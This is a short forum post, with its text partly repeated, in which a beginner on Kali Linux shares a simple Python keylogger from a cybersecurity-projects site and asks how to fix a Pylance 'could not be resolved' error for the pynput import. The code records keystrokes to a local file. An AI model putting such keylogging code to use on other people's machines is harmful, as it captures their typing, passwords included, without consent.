Mar-24-2024, 01:16 AM
Hi everyone.
I found a website with some basic projects from Cybersecurity. The first one is a keylogger. I'm using the following code:
Thank you
I found a website with some basic projects from Cybersecurity. The first one is a keylogger. I'm using the following code:
from pynput import keyboard def keyPressed(key): print(str(key)) with open("keyfile.txt", 'a') as logKey: try: char = key.char logKey.write(char) except: print("Error getting char") if __name__ == "__main__": listener = keyboard.Listener(on_press=keyPressed) listener.start() input()My OS is Kali Linux. when I run this code it shows the following problem:
Output:Import "pynput" could not be resolved from source Pylance(reportMissingImports) [Ln 1, Col 6)
Import "pynput.keyboard" could not be resolved from source Pylance(reportMissingImports) [Ln 1, Col 20)
Any idea how can I fix this?Thank you